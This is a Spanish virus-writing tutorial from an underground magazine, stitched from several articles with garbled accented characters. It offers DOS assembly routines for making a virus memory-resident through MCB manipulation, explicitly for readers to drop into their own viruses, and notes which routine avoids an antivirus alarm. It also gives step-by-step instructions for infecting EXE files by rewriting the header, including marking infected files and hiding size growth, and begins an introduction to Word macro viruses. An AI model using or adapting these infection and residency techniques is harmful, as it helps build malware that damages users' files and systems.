------------------------------------------------------------------------------- Este art?culo intenta explicar los m?todos mas usados de residencia, con un enfoque mas pr?ctico que te?rico, dejando en claro lo fundamental para poder aprovecharlos, en especial el de MCB. Muestra ejemplos de los 2 tipos de t?cnicas descritos, que pueden (en el caso del MCB) usarse directamente en sus propios virus. La teor?a no esta muy detallada, pero se encontrar? todo lo necesario para que el novato comprenda y pueda usar estos m?todos. Y con la informaci?n del articulo, si desea profundizar la teor?a, es s?lo cuesti?n de leer alguna gu?a o manual, que hable sobre la memoria, ya que aqu? se explica lo b?sico necesario (espero...). Empezemos: Los m?todos m?s usados para dejar a un virus residente son: los que el DOS proporciona o el m?todo de MCB (Memory Control Block). La primera forma es la m?s simple, pero tambi?n la mas ineficaz, primero porque le informa al DOS que se esta dejando algo residente... adem?s al ejecutarse esa funci?n retorna el control al DOS. El programa que se intente ejecutar termina!. El virus que use esta t?cnica para evitar salir al DOS en su instalacion en memoria tiene que reejecutarse. Para quedar residente, se ejecuta a si mismo otra vez (serv. 4bh), y en su segunda ejecuci?n ejecuta una int 27h o llama al servicio 31 de la int. 21h, esta a su vez, le da el control al programa padre, al que se cargo primero, y este puede entonces terminar, ejecutando al anfitri?n. Si esto no se hiciera, al ejecutar una int 21, por ejemplo, se le ceder?a el control al interprete de comandos... Una de las caracter?stica de los virus que usan esta t?cnica es que suelen colocarse al principio de los archivos, estos servicios dejaran residente la cantidad de parrafeo que se les indique desde el comienzo del programa en memoria... Si tenemos un COM de 50K y el virus al final, al usar la int 27h, y dejar residente, por ejemplo, 1k, lo que quedaria seria el primer K del COM, no el virus que esta al final.... Es evidente que no pondemos dejar 50k residentes... para que el virus quede en memoria se puede relocar(mover), a otro bloque, tranferirle el control, y luego este le ceder? el control al programa padre... Para evitar esto, muchos se colocan al principio del programa que infectan. Claro que esto es lento, porque hay que leer todo el file, y luego escribirlo despu?s del virus, lo que no pasa si va al final, en ese caso solo hay que escribir el virus, no el virus y el archivo!. Este m?todo es poco elegante, ademas de lento si se infecta dejando el virus al comienzo, entre otras cosas... Abajo, sigue un fuente de un TSR, no de un virus!, solo un TSR normal para ilustrar su funcionamiento. Este ejemplo intercepta la int. 21 y luego le pasa el control sin hacer nada. Se le puede agregar el c?digo para hacer lo que se quiera. =============================================================================== =============================================================================== code segment assume cs:code,ds:code org 100h start: jmp instalar ;Salta a la rutina de ;instalacion. ;En esta variable va la direccion original de la int 21h. old_21 dd 2 new_21: ;Aca va la rutina que se cuelga de la interrupcion 21h. jmp cs:[old_21] ;Salta a la int original. instalar: ;Obtengo el vector original de la int 21 mov ax, 3521h int 21h mov word ptr old_21, bx mov word ptr old_21+2, es ;Seteo el nuevo vector de la int 21 mov ax,2521h push cs pop ds mov dx, offset new_21 int 21h ;Queda residente mov ah, 31h mov dx, 30d ;<--------- Cantidad de parrafeo(16 bytes) a dejar int 21h ; residentes. code ends end start =============================================================================== =============================================================================== El segundo m?todo es el de MCB, este es un poco mas complejo que simplemente llamar a al int 27h, pero es mucho mas eficaz. Para entender como funciona hay que saber que el dos crea un bloque de control por cada bloque de memoria que use, este bloque de control, mide 16 bytes, un parrafo y esta justo por encima del bloque de memoria asignado. En un .COM, por ejemplo, en cs - 1, esta la direcci?n de este bloque. En el offset 3 del mismo esta la cantidad de memoria usada por ese programa..., para poder dejar residente un prog. hay que restarle a ese valor la longitud del virus, luego liberar la memoria que ya no usa (servicio 4ah) y asignarla (servicio 48h) a nuesto prog. Para terminar, marcamos el MCB del segmento al que movimos nuestro virus con '8' en el offset 1, para que el dos piense que es parte suya y no use esa memoria. En ese offset se coloca una marca, para identificar al bloaque, para esta rutina usamos 8 poruque es el que usa el DOS. El c?digo que sigue muestra como se hace... Este code sirve para dejar un virus residente desde un COM, si se carga desde un EXE hay que tener en cuanta que el segmento del MCB a modificar lo obtenemos de restarle 1 a DS y no a CS. =============================================================================== =============================================================================== ;Paso a AX el Code Segment, lo decremento y paso a ES, para obtener ;la memoria reservada por el programa anfitri?n (ES:[3]), que queda en AX... mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;Resto a la memoria usada por el anfitri?n la longitud del virus, el resultado ;en AX. sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. ;Paso el resultado de la operacion anterior a BX, para despu?s llamar al ;servicio de liberar memoria, que se llama com BX, con el nuevo tama?o y con ;el asegmento en ES. push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h ;Asigno la memoria liberada a mi virus, el segmento de la memoria asignada ;queda en AX. Decremento BX porque un parrafo lo va a usar el DOS.... pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h ;Decremento AX, y lo paso a ES, de esa forma apunto al parrafo que usa el DOS ;como control, marco ese parrfo en el offset 1 con 8, para que el DOS lo ;considere como parte suya y no utilize esa zona de memoria. ;Despu?s incremento AX otra vez y lo paso a ES, para que ES quede apuntando ;a la memoria que el virus usara. dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus =============================================================================== =============================================================================== Ahora lo que queda es mover el virus al segmento reservado, esto es cuesti?n de hacer un rep movsb al segmento al que apunta ES y listo, el virus esta residente. NOTA: La rutina en si no hace saltar ninguna alarma, la alarma de residencia del TB salta cuando detecta la actualizacion de la int 21h o 13h. F? de Ratas.. ------------------------------------------------------------------------------- mov ax, cs ;Con esto obtenemos el segmento dec ax ;del MCB. mov es, ax ;Aca estamos obteniendo del campo mov ax, es:[3] ;del MCB, la memoria utilizada. ;****************************************************************************** ;El problema de esto, es que en ning?n momento se aclara que tenemos que decla_ ;rar el tama?o del virus un poco mas grande, exactamente un parrafo mas largo. ;Esto por qu? ? Y bueno, en el momento en que tenemos que restarle un parrafo a ;la memoria que queremos reservar (esto lo haciamos para dar lugar a que se ;cree el MCB del nuevo bloque), estamos reservando un parrafo menos de virus ;tambi?n.. osea que la ?ltima parte del virus no entrar?a en la memoria reser_ ;vada.. Puede ser que no traiga problemas por ser un rea de datos o algo por ;el estilo, pero es aconsejable hacer las cosas bien, o no ? ;Bueno, la manera de solucionar esto es simplemente INCrementar la cantidad de ;parrafos del virus o si lo declaran en su programa con un : ; ; TAMA?O _EN_PARRAFOS EQU ((FIN-COMIENZO)/16)+1 ; ; declarar el incremento directamente ahi, para no gastar bytes ni clocks : ; ; TAMA?O_EN_PARRAFOS EQU ((FIN-COMIENZO+15)/16)+1 ; ;****************************************************************************** sub ax, bx ;En BX esta la longitud del virus, ;en parrafos. (ahora incrementada). push bx ;Salvo la cantidad de mem a reservar. mov bx, ax ;Le paso la nueva cantidad a BX. push cs pop es mov ah, 4ah int 21h pop bx ;Popeo la cantidad de mem a reservar. dec bx mov ah, 48h int 21h dec ax mov es, ax mov word ptr es:[1], 8 mov word ptr es:[8],'XX' ;Opcional, un nombre al bloque. inc ax mov es, ax push es ;Salvo la dir del seg. del virus ... ;blah blah blah y sigue el c?digo ...DTM - Dead to Minotauro BBS silly Troyan installer. Text by Zarathustra for Minotauro Magazine

Contaminando ficheros EXE --------------------------- Los ficheros com no parecen un problema, pero ?y los EXE?, no son ni mucho menos dif?ciles de contaminar aunque hay que dominar el header (la cabecera) de los EXE. Los EXEs pueden tener m?s de un segmento lo que hace necesario una cabecera con informaci?n acerca de la memoria que necesitar? el programa, la direcci?n de inicio donde se comenzar? a ejecutar el programa etc. Adem?s posee una tabla de realocaci?n para que el programa se pueda cargar a partir de cualquier segmento de memoria. Cuando el DOS carga un EXE primero constuye un PSP y un environment block (como ya hac?a con los COM) luego lee el header y a partir de los datos de ?ste carga el EXE. Luego realocatea el c?digo.?Pero qu? co?o es eso de realocatear el c?digo?. En un Exe las referencias de segmento se hacen a partir del segmento 0 pero el c?digo no tiene porqu? cargarse neces?riamente en ese segmento por eso se cre? la realocaci?n. En el Exe se almacena una tabla con punteros a todas las referencias a segmentos ya sab?is, instrucciones del tipo. call 1234:0023 (ojo que un call 23 no hace referencia a segmentos) jmp 1000:2344 nuestro virus no tendr? referencias de segmentos ya que ser? menor que 65000 bytes (espero je,je,je) ,excepto el salto al cs:ip inicial del exe. pero esa direcci?n la realocatearemos manualmente >:) En el Exe se almacena una lista de punteros que indican donde hay referencias de segmento . Pero ojo que estas referencias tampoco estan realocateadas por lo que el DOS suma a cada puntero. El segmento efectivo donde se carg? el EXE + 10 (tama?o del PSP).Ahora tenemos la direcci?n real donde hay una referencia de segmento y el DOS realocatea la direcci?n sumando la direcci?n efectiva + 10. Despu?s de hacer esto con cada puntero de la tabla de realocaci?n el Dos tendr? en memoria el c?digo con la direcci?n que toca para cada segmento. EXE PROGRAM FILE Header CS:IP (Header) 0000:0000 + (relocation Eff. Segment 1000 + table entries=2) PSP 0010 = ------------------------- Entry Point 1010:0000 Relocation Table 0000:0003 + 1010H = 1010:0003 0000:0007 + 1010H = 1010:0007 Program Image PROGRAM IN MEMORY PSP 1000:0000 call 0001:0000 call 1011:0000 1010:0000 nop nop 1010:0005 mov ax, 0003 mov ax, 1013 1010:0006 mov ds, ax mov ds, ax 1010:0009 Aqu? ten?is la estructura del header de los EXE. Offset Descripcion 00 Marca de EXE (MZ = 4D5A) 02 Numero de bytes en la ultima pagina (de 512 bytes) del programa 04 Numero total de paginas de 512 bytes, redondeado hacia arriba 06 Numero de entradas en la Tabla de Alocacion 08 Size del header (en paragrafos, incluyendo la Tabla de realocacion) 0A Minimo de memoria requerido (en para) 0C Maximo de memoria requerido (en para) 0E SS inicial 10 SP inicial 12 Checksum 14 IP inicial 16 CS inicial 18 Offset de la Tabla de Alocacion desde el comienzo del file 1A Numero de Overlays generados En 00 tenemos la marca de los EXE que es MZ (es lo que diferencia un exe de un com) Si os fij?is con las entradas 04 y 06 tenemos el tama?o del EXE. (pages)*512+reminder.S? lo s? es una manera muy rebuscada de poner el tama?o lo pod?an haber puesto directamente con esos 4 bytes ,pero bueno as? hay m s emoci?n je,je,je.En 06 tenemos el n?mero de punteros de la tabla de realoci?n (Cada puntero ocupa 4 bytes con lo que 4*n? de punteros nos dar el tama?o de la tabla de realocaci?n) En 08 el tama?o del header en paragrafos (incluyendo la tabla de realocaci?n). Despu?s tenemos el Minimo y m ximo de memoria tambi?n en par grafo En los Exes al ocupar m s de un segmento no es posible cargar la pila desde la direcci?n FFFFh como hac?amos en los com hemos de indicar en el header donde queremos que est? la pila. Por lo que hay dos entradas de dos bytes cada una con el segmento y el offset para la pila. En el offset 12 tenemos el checksum. Normalmente est? a 0 con lo que lo podemos utilizar para marcar el archivo como contaminado. El los offset 14 y 16 el IP y CS inicial (comienzo de la ejecuci?n). En el offset 18 el offset de comienzo de la tabla de realocaci?n normalmente es 1c es decir 28 en decimal. Si os fij?is normalmente 4*n? de punteros de la tabla de realocaci?n + offset tabla de realocaci?n = paras del header * 16 Pero esto no siempre es igual ya que tenemos que poner el header en par?grafos y no siempre la cabecera + la tabla de realocaci?n nos dan un m?ltipo de 16 con lo que normalemente tendremos de 1 a 15 bytes de basura en el file,despu?s de la tabla de realocaci?n (que tambi?n se podr?an utilizar para marcar el file como infectado). En 1a se menciona el n?mero de overlays generados , hay programas que por su gran tama?o no se pueden cargar enteros en memoria por lo que hay que cargarlos poco a poco mediante overlays internos (carece de utilidad en esta lecci?n :<) Antes de comenzar con la teor?a sobre infecci?n de EXE's me gustar?a hablar un poco de como se direcciona la memoria. Como todos ya sab?is en un 8086 la memoria se direcciona con 2 registros de 16 bits cada uno. Uno que direcciona un segmento (o bloque de FFFFh bytes) y otro que direcciona una posici?n dentro de dicho segmento). Pero resulta que el 8086 no ten?a un bus de datos de 32 bits sino de 20 entonces tuvieron que armar una pirula para que entrase la direcci?n en el bus. Inventaron la segmentaci?n de memoria. Teniendo en cuenta que tenemos 4 bytes para apuntar a una direcci?n de memoria en teor?a podr?amos direccionar 4 gigas de memoria. Pero con un bus de 20 bits eso no es posible ya que 2^20 solo nos permite direccionar 1 mega de memoria. Bueno, bueno, que chapuzas pero ?como calcular una direcci?n de 20 bits si s?lo tengo registros de 16 bits?. Bueno aqu? viene lo divertido. El segmento lo multiplica por 16 o lo que es lo mismo desplaza hacia la izquierda 4 bits el registro de segmento y al resultado se le suma el registro del offset con esto obtenemos la direcci?n f?sica deseada, una direcci?n de 20 bits. Tened en cuenta que ?ste m?todo es el causante de que tengamos los famoso 640 bytes de memoria convencional. El mega que podemos direccionar es separado en memoria convencional y en memoria superior que va de los 640 bytes al mega.La memoria convencional se utiliza para cargar el kernel del DOS ,los vectores de interrupcion,programas residentes, programas de usuario etc. y la superior para memoria de video, tablas del bios etc. L?gicamente eso no quiere decir que no podamos utilizar memoria por encima del mega.En la memoria superior siempre quedan segmentos inutilizados que gracias a drivers de memoria pueden convertirse en los denominados UMB (upper memory blocks, bloques de memoria superior). Estos est?n dentro del mega direccionable por el DOS pero en realidad en ellos hay programas y datos almacenados en memoria extendida y que son transladados a la memoria convencional para su ejecuci?n y su posible direccionamiento. Bueno en refinitiva teniendo una direcci?n como esta 1234h:3423h la direcci?n real ser?a 12340h+3223h=15563h Ahora supongo que ya sabr?is la raz?n de reservar memoria en par?grafos ?porqu? 16 bytes y no reservar memoria en bytes?.Es obvio. 16 es la diferencia entre un segmento y el siguiente. La diferencia entre 1000:0000 y 1001:0000 no son FFFFh bytes como algunos supon?as son 16 bytes. ;'> que s?n la unidad m?nima de memoria que se puede reservar. S?,s? de aqu? viene el n?mero m?gico je,je. Ahora supongo ,entender?is mejor la residencia. En la residencia buscamos el segmento del MCB disminuyendo el segmento donde est? el PSP Con esto no nos vamos FFFFh bytes hacia atr?s sino que s?lo nos vamos 16 bytes que es lo que ocupa el MCB (je,je,je,je ,apasionante ?no?) Pasos para infectar un archivo EXE ---------------------------------- 1. Leemos el header a un ?rea de memoria para poder modificarlo a placer. Calculamos el tama?o del archivo. Y calculamos el CS:IP que dever tener el header (para que apunte al c?digo del virus que situo al final del archivo). Puedes poner de 1-15 bytes de basura en el archivo para redondearlo a par?grafo esto hace que la ip sea 0 (invariante) siempre y te ahorras tener que calcular el desplazamiento que sufrir?n las variables (como hac?amos en los archivos com). T?n en cuenta que si utilizas dir stealth (t?cnica que evita que se vea un incremento del tama?o en los archivos contaminados ,necesit?s saber el tama?o exacto del archivo) al poner de 1-15 bytes de basura el stealth te se ir? de 1 a 15 bytes por lo que podr?as redondearlo a un n?mero fijo poniendo luego basura despu?s del virus :>. 2. Copiamos el virus al final . Espero que no tengas problemas en hacer esto, sino desp?dete. 3. Calculamos el SS:SP. El virus logicamente se tendr? que buscar un sitio para tener la stack. Esto es ,porque si el programa ten?a la stack sobre el c?digo del virus ,podr?a sobreescribirlo mientras lo ejecutamos y te aseguro que eso no es bueno para nuestro virus creetelo.:> 4. Calcular el nuevo tama?o que tendr? el archivo.Esto no es dif?cil simplemente buscamos el tama?o del archivo (ten en cuenta que ya tenemos el c?digo del virus al final ) y dividimos por 512 el resulatado incrementado en 1 ser el n?mero de p?ginas y el resto el reminder. 5. Calculamos la memoria m?nima que necesitar? el programa. Simplemente sumamos el tama?o en par?grafos del virus. a la memoria m?nima. 6. Escribimos el nuevo header en el archivo. (En el c?digo del virus almacenamos el antiguo CS:IP y el SS:IP para devolver el control al HOSTE) NOTA: Al cargar un archivo EXE DS y ES apuntan al PSP ,SS y CS pueden ser diferentes.Ojo con lo que hac?is con DS y ES porqu? los necesitar?is luego para dar el control al HOSTE.(realocatear el salto de vuelta al hoste).

Ahora toca hablar un poco sobre los virus de Word. Estos virus se programan
en un lenguaje llamado WB (wordbasic).

Si supongo que a muchos de vosotros os suena eso del basic y ten?is mucha

raz?n ya que el WB es una variante del basic. A mi me recuerda enormente

al famoso qbasic que ven?a con el DOS, sobretodo porque est bastante

estructurado y no hay que poner los engorrosos numeros de linea cada

vez ;>.

Supongo que los virus del Word son tan famosos porque desde la aparici?n de

win95 es la forma m s sencilla de infectar un ordenador, porque est en

un lenguaje de alto nivel y cualquier LAMER puede aprender a utilizarlo

estudianto unos cuantos comandos, y porque por si fuera poco est? en una

variante del basic, y quien no aprendi? a programar en Basic con la aparici?n

de los Amstrad y los Spectrum.

 
   
 
Este sitio web fue creado de forma gratuita con PaginaWebGratis.es. ¿Quieres también tu sitio web propio?
Registrarse gratis